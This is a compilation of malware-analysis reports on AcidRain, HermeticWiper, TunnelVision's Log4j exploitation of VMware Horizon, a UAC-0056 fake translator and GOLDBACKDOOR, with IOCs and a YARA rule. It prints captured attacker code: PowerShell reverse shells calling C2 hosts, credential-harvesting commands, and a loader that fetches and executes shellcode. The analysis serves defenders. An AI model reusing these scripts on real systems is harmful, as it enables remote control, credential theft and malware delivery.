Another potential way of accessing flash memory /dev/mtd* The device file for flash memory that supports fileops /dev/mmcblk* For SD/MMC cards /dev/block/mmcblk* Another potential way of accessing SD/MMC cards /dev/loop* Virtual block devices This wiper iterates over all possible device file identifiers (e.g., mtdblock0 mtdblock99), opens the device file, and either overwrites it with up to 0x40000 bytes of data or (in the case of the /dev/mtd* device file) uses the following IOCTLS to erase it: MEMGETINFO, MEMUNLOCK, MEMERASE, and MEMWRITEOOB. In order to make sure that these writes have been committed, the developers run an fsync syscall. The code that generates the malicious data used to overwrite storage When the overwriting method is used instead of the IOCTLs, it copies from a memory region initialized as an array of 4-byte integers starting at 0xffffffff and decrementing at each index. This matches what others had seen after the exploit had taken place. 5/12 Side-by-side comparison of a Surfbeam2 modem pre- and post-attack The code for both erasure methods can be seen below: 6/12 Mechanisms to erase devices: write 0x40000 (left) or use MEM* IOCTLS (right) Once the various wiping processes are complete, the device is rebooted. 7/12 Redundant attempts to reboot the device This results in the device being rendered inoperable. An Interesting Oddity Despite what the Ukraine invasion has taught us, wiper malware is relatively rare. More so wiper malware aimed at routers, modems, or IoT devices. The most notable case is VPNFilter, a modular malware aimed at SOHO routers and QNAP storage devices, discovered by Talos. This was followed by an FBI indictment attributing the operation to Russia (APT28, in particular). More recently, the NSA and CISA attributed VPNFilter to Sandworm (a different threat actor attributed to the same organization, the Russian GRU) as the U.K. s National Cyber Security Centre (NCSC) described VPNFilter s successor, Cyclops Blink. 8/12 VPNFilter included an impressive array of functionality in the form of multi-stage plugins selectively deployed to the infected devices. The functionality ranges from credential theft to monitoring Modbus SCADA protocols. Among its many plugins, it also included functionality to wipe and brick devices as well as DDoS a target. The reason we bring up the specter of VPNFilter is not because of its superficial similarities to AcidRain but rather because of an interesting (but inconclusive) code overlap between a specific VPNFilter plugin and AcidRain. VPNFilter Stage 3 Plugin dstr SHA256 47f521bd6be19f823bfd3a72d851d6f3440a6c4cc3d940190bdc9b6dd53a83d6 SHA1 261d012caa96d3e3b059a98388f743fb8d39fbd5 20ea405d79b4de1b90de54a442952a45 Description VPNFilter Stage 3, dstr module Magic ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped First Seen 2018-06-06 13:02:56 UTC After the initial discovery of VPNFilter, additional plugins were revealed by researchers attempting to understand the massive spread of the botnet and its many intricacies. Among these were previously unknown plugins, including dstr . As the mangled name suggests, it destruction module meant to supplement stage 2 plugins that lacked the kill command meant to wipe the devices. This plugin was brought to our attention initially by tlsh fuzzy hashing, a more recent matching library that s proven far more effective than ssdeep or imphash in identifying similar samples. The similarity was at 55% to AcidRain with no other samples being flagged in the VT corpus. This alone is not nearly enough to conclusively judge the two samples as tied, but it did warrant further investigation. VPNFilter and AcidRain are both notably similar and dissimilar. They re both MIPS ELF binaries and the bulk of their shared code appears to stem from statically-linked libc. It appears that they may also share a compiler, most clearly evidenced by the identical Section Headers Strings Tables. 9/12 Section Headers Strings Tables for VPNFilter and AcidRain And there are other development quirks, such as the storing of the previous syscall number to a global location before a new syscall. At this time, we can t judge whether this is a shared compiler optimization or a strange developer quirk. More notably, while VPNFilter and AcidRain work in very different ways, both binaries make use of the MEMGETINFO, MEMUNLOCK, and MEMERASE IOCTLS to erase mtd device files. On the left, AcidRain; on the right, VPNFilter There are also notable differences between VPNFilter dstr plugin and AcidRain. The latter appears to be a far sloppier product that doesn t consistently rise to the coding standards of the former. For example, note the redundant use of process forking and needless repetition 10/12 of operations. They also appear to serve different purposes, with the VPNFilter plugin targeting specific devices with hardcoded paths, and AcidRain taking more of a one-binary-fits-all approach to wiping devices. By brute forcing device filenames, the attackers can more readily reuse AcidRain against more diverse targets. We invite the research community to stress test this developmental overlap and contribute their own findings. Conclusions As we consider what s possibly the most important cyber attack in the ongoing Russian invasion of Ukraine, there are many open questions. Despite Viasat s statement claiming that there was no supply-chain attack or use of malicious code on the affected routers, we posit the more plausible hypothesis that the attackers deployed AcidRain (and perhaps other binaries and scripts) to these devices in order to conduct their operation. While we cannot definitively tie AcidRain to VPNFilter (or the larger Sandworm threat cluster), we note a medium-confidence assessment of non-trivial developmental similarities between their components and hope the research community will continue to contribute their findings in the spirit of collaboration that has permeated the threat intelligence industry over the past month. References https://www.wired.com/story/viasat-internet-hack-ukraine-russia/ https://www.cisa.gov/uscert/ncas/alerts/aa22-076a https://media.defense.gov/2022/Jan/25/2002927101/-1/-1/0/CSA_PROTECTING_VSAT_ COMMUNICATIONS_01252022.PDF https://www.airforcemag.com/hackers-attacked-satellite-terminals-through-managementnetwork-viasat-officials-say/ https://nps.edu/documents/104517539/104522593/RELIEF12-4_QLR.pdf/9cc03d09-9af4410e-b601-a8bffdae0c30 https://www.reuters.com/business/media-telecom/exclusive-hackers-who-crippled-viasatmodems-ukraine-are-still-active-company-2022-03-30/ https://www.viasat.com/about/newsroom/blog/ka-sat-network-cyber-attack-overview/ https://blog.talosintelligence.com/2018/05/VPNFilter.html https://blog.talosintelligence.com/2018/06/vpnfilter-update.html?m=1 https://blog.talosintelligence.com/2018/09/vpnfilter-part-3.html https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf https://www.trendmicro.com/en_us/research/21/a/vpnfilter-two-years-later-routers-stillcompromised-.html https://www.cisa.gov/uscert/ncas/alerts/aa22-054a 11/12 12/12 HermeticWiper | New Destructive Malware Used In Cyber Attacks on Ukraine sentinelone.com/labs/hermetic-wiper-ukraine-under-attack Juan Andr s Guerrero-Saade Executive Summary On February 23rd, the threat intelligence community began observing a new wiper malware sample circulating in Ukrainian organizations. Our analysis shows a signed driver is being used to deploy a wiper that targets Windows devices, manipulating the MBR resulting in subsequent boot failure. This blog includes the technical details of the wiper, dubbed HermeticWiper, and includes IOCs to allow organizations to stay protected from this attack. This sample is actively being used against Ukrainian organizations, and this blog will be updated as more information becomes available. SentinelOne customers are protected from this threat, no action is needed. Background On February 23rd, our friends at Symantec and ESET research tweeted hashes associated with a wiper attack in Ukraine, including one which is not publicly available as of this writing. We started analyzing this new wiper malware, calling it HermeticWiper in reference to the digital certificate used to sign the sample. The digital certificate is issued under the company name Hermetica Digital Ltd and valid as of April 2021. At this time, we haven t seen any legitimate files signed with this certificate. It s possible that the attackers used a shell company or appropriated a defunct company to issue this digital certificate. HermeticWiper Digital Signature This is an early effort to analyze the first available sample of HermeticWiper. We recognize that the situation on the ground in Ukraine is evolving rapidly and hope that we can contribute our small part to the collective analysis effort. Technical Analysis At first glance, HermeticWiper appears to be a custom-written application with very few standard functions. The malware sample is 114KBs in size and roughly 70% of that is composed of resources. The developers are using a tried and tested technique of wiper malware, abusing a benign partition management driver, in order to carry out the more damaging components of their attacks. Both the Lazarus Group (Destover) and APT33 (Shamoon) took advantage of Eldos Rawdisk in order to get direct userland access to the filesystem without calling Windows APIs. HermeticWiper uses a similar technique by abusing a different driver, empntdrv.sys . HermeticWiper resources containing EaseUS Partition Manager drivers The copies of the driver are ms-compressed resources. The malware deploys one of these depending on the OS version, bitness, and SysWow64 redirection. EaseUS driver resource selection The benign EaseUS driver is abused to do a fair share of the heavy-lifting when it comes to accessing Physical Drives directly as well as getting partition information. This adds to the difficulty of analyzing HermeticWiper, as a lot of functionality is deferred to DeviceIoControl calls with specific IOCTLs. MBR and Partition Corruption HermeticWiper enumerates a range of Physical Drives multiple times, from 0-100. For each Physical Drive, the \\.\EPMNTDRV\ device is called for a device number. The malware then focuses on corrupting the first 512 bytes, the Master Boot Record (MBR) for every Physical Drive. While that should be enough for the device not to boot again, HermeticWiper proceeds to enumerate the partitions for all possible drives. They then differentiate between FAT and NTFS partitions. In the case of a FAT partition, the malware calls the same bit fiddler to corrupt the partition. For NTFS, the HermeticWiper parses the Master File Table before calling this same bit fiddling function again. MFT parsing and bit fiddling calls We euphemistically refer to the bit fiddling function in the interest of brevity. Looking through it, we see calls to Windows APIs to acquire a cryptographic context provider and generate random bytes. It s likely this is being used for an inlined crypto implementation and byte overwriting, but the mechanism isn t entirely clear at this time. Further functionality refers to interesting MFT fields ( $bitmap , $logfile ) and NTFS streams ( $DATA , $I30 , $INDEX_ALLOCATION ). The malware also enumerates common folders ( My Documents Desktop AppData ), makes references to the registry ( ntuser and Windows Event Logs ( "\\\\?\\C:\\Windows\\System32\\winevt\\Logs" ). Our analysis is ongoing to determine how this functionality is being used, but it is clear that having already corrupted the MBR and partitions for all drives, the victim system should be inoperable by this point of the execution. Along the way, HermeticWiper s more mundane operations provide us with further IOCs to monitor for. These include the momentary creation of the abused driver as well as a system service. It also modifies several registry keys, including setting the SYSTEM\CurrentControlSet\Control\CrashControl CrashDumpEnabled key to 0, effectively disabling crash dumps before the abused driver s execution starts. Disabling CrashDumps via the registry Finally, the malware waits on sleeping threads before initiating a system shutdown, finalizing the malware s devastating effect. Conclusion After a week of defacements and increasing DDoS attacks, the proliferation of sabotage operations through wiper malware is an expected and regrettable escalation. At this time, we have a very small sliver of aperture into the attacks in Ukraine and subsequent spillover into neighboring countries and allies. If there s a silver lining to such a difficult situation, it seeing the open collaboration between threat intel research teams, independent researchers, and journalists looking to get the story straight. Our thanks to the researchers at Symantec, ESET, Stairwell, and RedCanary among others who ve contributed samples, time, and expertise. SentinelOne Customers Protected Watch Video At: https://youtu.be/keWfVA6F4IM Indicators of Compromise HermeticWiper SHA1 Win32 EXE 912342f1c840a42f6b74132f8a7c4ffe7d40fb77 Win32 EXE 61b25d11392172e587d8da3045812a66c3385451 ms-compressed SHA1 RCDATA_DRV_X64 a952e288a1ead66490b3275a807f52e5 RCDATA_DRV_X86 231b3385ac17e41c5bb1b1fcb59599c4 RCDATA_DRV_XP_X64 095a1678021b034903c85dd5acb447ad RCDATA_DRV_XP_X86 eb845b7a16ed82bd248e395d9852f467 rule MAL_HERMETIC_WIPER { meta: desc = "HermeticWiper - broad hunting rule" author = "Friends @ SentinelLabs" version = "1.0" last_modified = "02.23.2022" hash = "1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591" strings: $string1 = "DRV_XP_X64" wide ascii nocase $string2 = "EPMNTDRV\\%u" wide ascii nocase $string3 = "PhysicalDrive%u" wide ascii nocase $cert1 = "Hermetica Digital Ltd" wide ascii nocase condition: uint16(0) == 0x5A4D and all of them Log4j2 In The Wild | Iranian-Aligned Threat Actor TunnelVision Actively Exploiting VMware Horizon sentinelone.com/labs/log4j2-in-the-wild-iranian-aligned-threat-actor-tunnelvision-actively-exploiting-vmware-horizon Amitai Ben Shushan Ehrlich By Amitai Ben Shushan Ehrlich and Yair Rigevsky Executive Summary SentinelLabs has been tracking the activity of an Iranian-aligned threat actor operating in the Middle-East and the US. Due to the threat actor s heavy reliance on tunneling tools, as well as the unique way it chooses to widely deploy those, we track this cluster of activity as TunnelVision. Much like other Iranian threat actors operating in the region lately, TunnelVision activities were linked to deployment of ransomware, making the group a potentially destructive actor. Overview TunnelVision activities are characterized by wide-exploitation of 1-day vulnerabilities in target regions. During the time we ve been tracking this actor, we have observed wide exploitation of Fortinet FortiOS (CVE-2018-13379), Microsoft Exchange (ProxyShell) and recently Log4Shell. In almost all of those cases, the threat actor deployed a tunneling tool wrapped in a unique fashion. The most commonly deployed tunneling tools used by the group are Fast Reverse Proxy Client (FRPC) and Plink. TunnelVision activities are correlated to some extent with parts of Microsoft s Phosphorus, as discussed further in the Attribution section. In this post, we highlight some of the activities we recently observed from TunnelVision operators, focusing around exploitation of VMware Horizon Log4j vulnerabilities. VMware Horizon Exploitation The exploitation of Log4j in VMware Horizon is characterized by a malicious process spawned from the Tomcat service of the VMware product ( C:\Program Files\VMware\VMware View\Server\bin\ws_TomcatService.exe ). TunnelVision attackers have been actively exploiting the vulnerability to run malicious PowerShell commands, deploy backdoors, create backdoor users, harvest credentials and perform lateral movement. Typically, the threat actor initially exploits the Log4j vulnerability to run PowerShell commands directly, and then runs further commands by means of PS reverse shells, executed via the Tomcat process. PowerShell Commands TunnelVision operators exploited the Log4j vulnerability in VMware Horizon to run PowerShell commands, sending outputs back utilizing a webhook. In this example, the threat actor attempted to download ngrok to a compromised VMware Horizon server: try{ (New-Object System.Net.WebClient).DownloadFile("hxxp://transfer.sh/uSeOFn/ngrok.exe","C:\\Users\Pu Rename-Item 'c://Users//public//new.txt' 'microsoft.exe'; $a=iex 'dir "c://Users//public//"' | Out-String; iwr -method post -body $a https://webhook.site/{RANDOM-GUID} -UseBasicParsing; }catch{ iwr -method post -body $Error[0] https://webhook.site/{RANDOM-GUID} UseBasicParsing; Throughout the activity the usage of multiple legitimate services was observed. Given an environment is compromised by TunnelVision, it might be helpful to look for outbound connections to any of those legitimate public services: transfer.sh pastebin.com webhook.site ufile.io raw.githubusercontent.com Reverse Shell #1 $c = "" $p = "" $r = "" $u = "hxxps://www.microsoft-updateserver.cf/gadfTs55sghsSSS" $wc = New-Object System.Net.WebClient $li = (Get-NetIPAddress -AddressFamily IPv4).IPAddress[0]; $c = "whoami" $c = 'Write-Host " ";'+$c $r = &(gcm *ke-e*) $c | Out-String > "c:\programdata\$env:COMPUTERNAME-$li" $ur = $wc.UploadFile("$u/phppost.php" , "c:\programdata\$env:COMPUTERNAME-$li") while($true) $c = $wc.DownloadString("$u/$env:COMPUTERNAME-$li/123.txt") $c = 'Write-Host " ";'+$c if($c -ne $p) $r = &(gcm *ke-e*) $c | Out-String > "c:\programdata\$env:COMPUTERNAME-$li" $p = $c $ur = $wc.UploadFile("$u/phppost.php" , "c:\programdata\$env:COMPUTERNAME-$li") sleep 3 Reverse Shell #1 was used in the past by TunnelVision operators (7feb4d36a33f43d7a1bb254e425ccd458d3ea921), utilizing a different C2 server: hxxp://google.onedriver-srv.ml/gadfTs55sghsSSS . This C2 was referenced in several articles analyzing TunnelVision activities. Throughout the activity the threat actor leveraged another domain, servicemanagement[.]tk , used to host malicious payloads. According to VirusTotal, this domain was also used to host a zip file (d28e07d2722f771bd31c9ff90b9c64d4a188435a) containing a custom backdoor (624278ed3019a42131a3a3f6e0e2aac8d8c8b438). The backdoor drops an additional executable file (e76e9237c49e7598f2b3f94a2b52b01002f8e862) to %ProgramData%\Installed Packages\InteropServices.exe and registers it as a service named InteropServices The dropped executable contains an obfuscated version of the reverse shell as described above, beaconing to the same C2 server ( www[.]microsoft-updateserver[.]cf ). Although it is not encrypted, it is deobfuscated and executed in a somewhat similar manner to how PowerLess, another backdoor used by the group, executes its PowerShell payload. Reverse Shell #2 $hst = "51.89.135.142"; $prt = 443; function watcher() {; $limit = (Get - Random - Minimum 3 - Maximum 7); $stopWatch = New - Object - TypeName System.Diagnostics.Stopwatch; $timeSpan = New - TimeSpan - Seconds $limit; $stopWatch.Start(); while ((($stopWatch.Elapsed).TotalSeconds - lt $timeSpan.TotalSeconds) ) {}; $stopWatch.Stop(); watcher; $arr = New - Object int[] 500; for ($i = 0; $i - lt 99; $i++) {; $arr[$i] = (Get - Random - Minimum 1 - Maximum 25); if ($arr[0] - gt 0) {; $valksdhfg = New - Object System.Net.Sockets.TCPClient($hst, $prt); $banljsdfn = $valksdhfg.GetStream(); [byte[]]$bytes = 0..65535|% { while (($i = $banljsdfn.Read($bytes, 0, $bytes.Length)) - ne 0) {; $lkjnsdffaa = (New - Object - TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i); $nsdfgsahjxx = (&(gcm('*ke-exp*')) $lkjnsdffaa 2 > &1 | Out - String ); $nsdfgsahjxx2 = $nsdfgsahjxx + (pwd).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($nsdfgsahjxx2); $banljsdfn.Write($sendbyte, 0, $sendbyte.Length); $banljsdfn.Flush(); watcher $valksdhfg.Close(); Most of the online activities we observed were performed from this PowerShell backdoor. It seems to be a modified variant of a publicly available PowerShell one-liner. Among those activities were: Execution of recon commands. Creation of a backdoor user and adding it to the administrators group. Credential harvesting using Procdump, SAM hive dumps and comsvcs MiniDump. Download and execution of tunneling tools, including Plink and Ngrok, used to tunnel RDP traffic. Execution of a reverse shell utilizing VMware Horizon NodeJS component[1,2]. Internal subnet RDP scan using a publicly available port scan script. Throughout the activity, the threat actor utilized a github repository VmWareHorizon of an account owned by the threat actor, using the name protections20 Attribution TunnelVision activities have been discussed previously and are tracked by other vendors under a variety of names, such as Phosphorus (Microsoft) and, confusingly, either Charming Kitten or Nemesis Kitten (CrowdStrike). This confusion arises since activity that Microsoft recognizes as a single group, Phosphorous , overlaps with activity that CrowdStrike distinguishes as belonging to two different actors, Charming Kitten and Nemesis Kitten. We track this cluster separately under the name TunnelVision . This does not imply we believe they are necessarily unrelated, only that there is at present insufficient data to treat them as identical to any of the aforementioned attributions. Indicators of Compromise TYPE INDICATOR NOTES Domain www[.]microsoftupdateserver[.]cf Command and Control (C2) Server Domain www[.]service-management[.]tk Payload server 51.89.169[.]198 Command and Control (C2) Server 142.44.251[.]77 Command and Control (C2) Server 51.89.135[.]142 Command and Control (C2) Server 51.89.190[.]128 Command and Control (C2) Server 51.89.178[.]210 Command and Control (C2) Server, Tunneling Server 142.44.135[.]86 Tunneling Server 182.54.217[.]2 Payload Server Github Account https://github.com/protections20 Account utilized to host payloads Threat Actor UAC-0056 Targeting Ukraine with Fake Translation Software sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software March 15, 2022 Overview SentinelOne has identified new malicious activity we assess to be closely associated with the UAC-0056 (SaintBear, UNC2589, TA471) alert, in which the threat actor was observed targeting Ukraine with Cobalt Strike, GrimPlant, and GraphSteel. This previously undiscovered set of activity centers around a Python-compiled binary that masquerades as Ukrainian language translation software, leading to the infection of GrimPlant, and GraphSteel. SentinelOne assesses UAC-0056 s GrimPlant and GraphSteel activity began in early February 2022, while preparation for its use began at least as early as December 2021. Dictionary Translator SentinelOne has identified two files with names and paths correlating to the GraphSteel and GrimPlant malware referred to in the report by CERT-UA. C:\Users\user\.java-sdk\microsoftcortana.exe d77421caae67f4955529f91f229b31317dff0a95 C:\Users\user\.java-sdk\oracle-java.exe ef5400f6dbf32bae79edb16c8f73a59999e605c7 The two files identified are Go binaries dropped by the executable 2a60b4e1eb806f02031fe5f143c7e3b7 (dictionary-translator.exe). Dictionary-translator is a Python compiled binary that functions as a 45 MB translation application. Notably, this file was first uploaded to VirusTotal on February 11th 2022. Translation Application The Dictionary-translator binary is downloaded from the potentially actor-controlled domain: hxxps://dictionary-translator[.]eu/program/dictionarytranslator.exe . On launch, the translator application drops and executes four malicious files. These correlate to those described in the report by the Ukrainian CERT, three by name and path and one by functionality and path. Matched File Path UA-CERT Report Link (MD5) \Users\user\AppData\Local\Temp\tmpj43i5czq.exe 15c525b74b7251cfa1f7c471975f3f95 \Users\user\.java-sdk\java-sdk.exe c8bf238641621212901517570e96fae7 \Users\user\.java-sdk\microsoft-cortana.exe 9ea3aaaeb15a074cd617ee1dfdda2c26 \Users\user\.java-sdk\oracle-java.exe 4f11abdb96be36e3806bada5b8b2b8f8 Post-Compromise Activity Upon execution, the GraphSteel variant of the malware will run a set of reconnaissance and credential harvesting commands, again similar to those described in the report. netsh wlan show profiles [void] [Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=W = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() | % { $_.RetrievePassword();$_} | Select UserName, Resource, Password | Format-Table HideTableHeaders reg query HKCU\Software\SimonTatham\Putty\Sessions Additionally, the malware achieves persistence by setting the current user s registry CurrentVersion\Run value to execute the Go downloader at logon: Key: HKU\%SID%\Software\Microsoft\Windows\CurrentVersion\Run\Java-SDK Value: \Users\user\.java-sdk\java-sdk.exe -a FIAjtW4f+IgCUrs3hfj9Lg== The variant discovered by SentinelOne attempts to connect to a different server using a similar pattern, attempting to establish a HTTP connection over port 443 to a single character letter URI: hxxp://91.242.229.35:443/i . Clarification on Threat Actor UAC-0056 UAC-0056 has a history of public reporting but is most commonly known as UNC2589 (Mandiant) and TA471 (Proofpoint), among others. This actor is believed to be behind the WhisperGate activity in early January 2022 impacting government agencies in Ukraine. Based on our analysis, the actor was potentially building the infrastructure for the GrimPlant and GraphSteel campaign beginning in December 2021. Timeline Demonstrating Known UAC-0056 Activity Indicators of Compromise IOC / SHA1 Description dictionary-translator[.]eu Dictionary-translator.exe Download Server 91.242.229[.]35:443/i Go Downloader C2 3eec65c8ac25682d9e7d293ca9033c8a841f4958 Go Downloader d77421caae67f4955529f91f229b31317dff0a95 GraphSteel Linked ef5400f6dbf32bae79edb16c8f73a59999e605c7 GrimPlant Linked 3847ca79b3fd52b105c5e43b7fc080aac7c5d909 Dictionary-translator Program The ink-stained trail of GOLDBACKDOOR Threat report Silas Cutler, Principal Reverse Engineer 21/04/2022 The ink-stained trail of GOLDBACKDOOR Threat report Table of contents GOLDBACKDOOR deployment Stage 1 Kang Min-chol Edits 2.zip Kang Min-chol Edits 2.lnk Stage 2 Fantasy injector Final dropper GOLDBACKDOOR Tracking document Conclusion Appendix YARA rules Infrastructure Files 04/2022 The ink-stained trail of GOLDBACKDOOR Threat report Over the past 10 years, the Democratic People's Republic of Korea (DPRK) has adopted cyber operations as a key means of supporting the regime. While significant attention has been paid to the purported use of these operations as a means of funding DPRK s military programs, the targeting of researchers, dissidents, and journalists likely remains a key area for supporting the country's intelligence operations. Journalists are high-value targets for hostile governments. They often are aggregators of stories from many individuals sometimes including those with sensitive access. Compromising a journalist can provide access to highly-sensitive information and enable additional attacks against their sources. On 18 March 2022, NK News shared multiple malicious artifacts with the Stairwell threat research team from a spear-phishing campaign targeting journalists who specialize in the DPRK. These messages were sent from the personal email of a former director of South Korea s National Intelligence Service (NIS). One of these artifacts was a new malware sample we have named GOLDBACKDOOR, based on an embedded development artifact. Stairwell assesses with medium-high confidence that GOLDBACKDOOR is the successor of, or used in parallel with, the malware BLUELIGHT, attributed to APT37 / Ricochet Chollima. This assessment is based on technical overlaps between the two malware families and the impersonation of NK News, a South Korean news site focused on the DPRK. NK News has published an article detailing the incident and this report will outline the technical process in which GOLDBACKDOOR is deployed on infected systems. 04/2022 The ink-stained trail of GOLDBACKDOOR Threat report GOLDBACKDOOR deployment Deployment of GOLDBACKDOOR is a multi-stage process, likely designed to avoid detection by antivirus or endpoint security. This process can be logically subdivided into two major components, each with two subsections. A high-level overview of the deployment process is shown below: By separating the first stage tooling and the final payload, the actor retains the ability to halt deployment after initial targets are infected. Additionally, this design may limit the ability to conduct retrospective analysis once payloads are removed from control infrastructure. Stage 1 Kang Min-chol Edits 2.zip The deployment chain for GOLDBACKDOOR in this incident was predicated on a user downloading a ZIP file from https[:]//main[.]dailynk[.]us/regex?id=oTks2&file=Kang Min-chol Edits 2.zip and executing a compressed Windows shortcut. The domain dailynk[.]us was likely chosen to impersonate NK News (dailynk[.]com), previously used by APT37 as a strategic web compromise (SWC) using CVE-2020-1380 and CVE-2021-26411. At the time of initial analysis, the domain 04/2022 The ink-stained trail of GOLDBACKDOOR Threat report mail[.]dailynk[.]us had stopped resolving; however, from historic DNS resolutions, we were able to identify 142.93.201[.]77 as the last address this domain resolved and were able to retrieve the ZIP file. This ZIP file (SHA256 hash: 9eddd99db6f5a7791f7e446792f04b301d29f6b0596920e8b39647cc7585185d) was named Kang Min-chol Edits 2.zip and contains a single Windows shortcut file. Timestamps in the ZIP file show that the contained file was added on 17 March 2022 at 16:51 UTC. Kang Min-chol Edits 2.lnk Contained within the initial ZIP archive was a 282.7 MB Windows shortcut file (LNK) named Kang Min-chol Edits 2.lnk (SHA256 hash: 120ca851663ef0ebef585d716c9e2ba67bd4870865160fec3b853156be1159c5). The attackers masqueraded this shortcut as a document, using both the icon for Microsoft Word and adding comments similar to a Word document. Additionally, this LNK file was padded with 0x90 (or NOP/No Operation) bytes to artificially increase the size of this file, potentially as a means of preventing upload to detection services or malware repositories. When this LNK file is executed, it executes a PowerShell script that writes and opens a decoy document before starting the deployment process of GOLDBACKDOOR. A formatted version the PowerShell command and executed script are shown below: %windir%\SysWOW64\cmd.exe /c powershell -windowstyle hidden $dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') { $dirPath = '%temp%' $lnkpath = Get-ChildItem -Path $dirPath -Recurse *.lnk ^| where-object { $_.length -eq 0x0010D98A06 } ^| Select-Object -ExpandProperty FullName; $pdfFile = gc $lnkpath -Encoding Byte -TotalCount 00547552 -ReadCount 00547552; $pdfPath = '%temp%\Kang Min-chol Edits 2.doc'; sc $pdfPath ([byte[]]($pdfFile ^| select -Skip 009440)) -Encoding Byte; ^& $pdfPath; $won11 ="$temple="""5B4E...(Removed for readability)...293B"""; $martin=""""""; for($i=0;$i -le $temple.Length-2;$i=$i+2){ $Sorre=$temple[$i]+$temple[$i+1]; $martin= $martin+[char]([convert]::toint16($Sorre,16)); Invoke-Command -ScriptBlock ([Scriptblock]::Create($martin));"; Invoke-Command -ScriptBlock ([Scriptblock]::Create($won11)); 04/2022 The ink-stained trail of GOLDBACKDOOR Threat report The decoy document (SHA256 hash: 94ca32c0a3002574d7ea1bef094146a9d3b2ad0018b3e3d3f4ffca8689b89e5a) dropped by this LNK file is embedded at file offset 0x24E0 (9440) and written to %temp%\Kang Min-chol Edits 2.doc, before being opened. The following screenshot shows the opened document after a user runs the shortcut. To a user executing the LNK file, believing it was a legitimate document, the only indication that something suspicious was underway may have been a short delay while the document was extracted and written to disk. Screenshot of decoy document After deploying the decoy document, the PowerShell script decodes a second PowerShell script, hex-encoded in the $temple variable, which it executes using Invoke-Command. A decoded and formatted version of the second PowerShell script is shown below: 04/2022 The ink-stained trail of GOLDBACKDOOR Threat report [Net.ServicePointManager]::SecurityProtocol=[Enum]::ToObject([Net.SecurityProtocolType], 3072); $aa='[DllImport("kernel32.dll")]public static extern IntPtr GlobalAlloc(uint b,uint c); $b=Add-Type -MemberDefinition $aa -Name "AAA" -PassThru; $abab = '[DllImport("kernel32.dll")]public static extern bool VirtualProtect(IntPtr a,uint b,uint c,out IntPtr d);'; $aab=Add-Type -MemberDefinition $abab -Name "AAB" -PassThru; $c = New-Object System.Net.WebClient; $d="hxxps://api[.]onedrive[.]com/v1.0/shares/u!aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjl6ZnJ3eFdXRW9hczVYaV c5TWUxNGlhQnM_ZT0wZVdDcTc/root/content"; $bb='[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr c,IntPtr d,uint e,IntPtr f);'; $ccc=Add-Type -MemberDefinition $bb -Name "BBB" -PassThru; $ddd='[DllImport("kernel32.dll")]public static extern IntPtr WaitForSingleObject(IntPtr a,uint b);'; $fff=Add-Type -MemberDefinition $ddd -Name "DDD" -PassThru; $e=112; do { try { $c.Headers["user-agent"] = "connnecting..."; $xmpw4=$c.DownloadData($d); $x0 = $b::GlobalAlloc(0x0040, $xmpw4.Length+0x100); $old = 0; $aab::VirtualProtect($x0, $xmpw4.Length+0x100, 0x40, [ref]$old); for ($h = 1; $h -lt $xmpw4.Length; $h++) { [System.Runtime.InteropServices.Marshal]::WriteByte($x0, $h-1, ($xmpw4[$h] -bxor $xmpw4[0]) ); try{throw 1;} catch{ $handle=$ccc::CreateThread(0,0,$x0,0,0,0); $fff::WaitForSingleObject($handle, 500*1000); $e=222; catch{ sleep 11; $e=112; } while($e -eq 112); When executed, this second PowerShell script will download and execute a shellcode payload (XOR encoded using the first-byte as a key) stored on Microsoft OneDrive. When manually downloaded during analysis, this payload was named Fantasy. 04/2022 The ink-stained trail of GOLDBACKDOOR Threat report Stage 2 Fantasy injector Fantasy is the first of a two-part process for deploying GOLDBACKDOOR. Both parts are written in position-independent code (shellcode) containing an embedded payload, and use process injection to deploy GOLDBACKDOOR. Shellcode typically resolves external Windows API calls at runtime. Fantasy uses a common technique for this, which involves parsing the InLoadOrderModuleList structure of the Process Environment Block (PEB) of the parent process to generate a list of libraries already loaded. When Fantasy needs to use one of these API calls, it passes a hashed value of the intended API call to a dedicated function that returns the corresponding address. This function hashes loaded Windows API names and libraries until it matches the requested hash. A pseudocode implementation of this hashing is shown below: def resolve_import(apiName, dllFilename): # Ex: # apiName = VirtualAlloc # dllFilename: unicode(kernel32.dll) # Return: 0xAA7ADB76 dllHash = 0 nameHash = 0 for c in dllFilename: dllHash = ror(dllHash, 11, 32) if ord(c) >= 97: dllHash -= 32 dllHash = ord(c) + dllHash for i in apiName: nameHash = ror(nameHash, 15, 32) + i nameHash = (nameHash ^ dllHash) return nameHash Upon execution, Fantasy parses files under %WINDIR%\System32 until one is found that ends in .exe that Fantasy has read access. The full path to the identified executable file is written to %localappdata%\\log_gold.txt, possibly for debugging purposes, before being started in a suspended state using CreateProcessA and passing the CREATE_SUSPENDED flag. Once a suspended process has been created, Fantasy will decode a shellcode payload, which will be injected into the newly created process. The injected payload is stored at offset 0x672 and obfuscated using a single byte eXclusive OR (XOR) cipher. The size and XOR key for this payload are structured 04/2022 The ink-stained trail of GOLDBACKDOOR Threat report using a distinctive format to avoid statically defining values in the shellcode. A representation of this structure is shown below: 00000000 23 fa 53 10 00 a0 cf 3f ae 67 07 2f 9a 68 34 ee 00000010 78 76 75 10 ce 76 49 33 73 cb a5 23 23 23 dc f3 XOR key fa 53 10 00 - Payload size a0 cf 3f ae... - Encoded payload data S.. g./.h4 |xvu. vI3s After this payload is decoded, Fantasy uses a standard process involving VirtualAllocEx, WriteProcessMemory, and RtlCreateUserThread to spawn a thread under the previously created process for execution of this payload. Final dropper The shellcode payload, running as a thread in a process created by Fantasy, is responsible for the final deployment of GOLDBACKDOOR. Fundamentally, this component is close in design and functionality to its parent shellcode loader; it uses the same method for API resolution, payload structure, and writes a log file to %localappdata%\\log_gold2.txt. The payload delivered by this stage is a Windows Portable Executable (PE) file for GOLDBACKDOOR. As with the previous shellcode payload, the first byte is used as an XOR key and the proceeding DWORD defines the size of the encoded payload. After 